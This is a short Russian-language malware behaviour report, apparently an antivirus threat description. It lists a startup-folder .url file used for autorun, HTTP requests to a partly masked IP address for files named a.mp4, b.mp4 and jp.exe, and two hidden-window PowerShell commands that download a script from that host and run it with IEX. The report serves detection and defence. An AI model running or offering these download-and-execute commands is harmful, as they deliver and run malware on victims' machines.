Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\deleteapp.url
Сетевая активность
Подключается к
- '92.##5.85.66':80
TCP
Запросы HTTP GET
- http://92.##5.85.66/a.mp4
- http://92.##5.85.66/b.mp4
- http://92.##5.85.66/jp.exe
Другое
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$w=New-Object Net.WebClient;$w.DownloadString('http://92.##5.85.66/a.mp4') | IEX" (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$w=New-Object Net.WebClient;$w.DownloadString('http://92.##5.85.66/b.mp4') | IEX" (со скрытым окном)
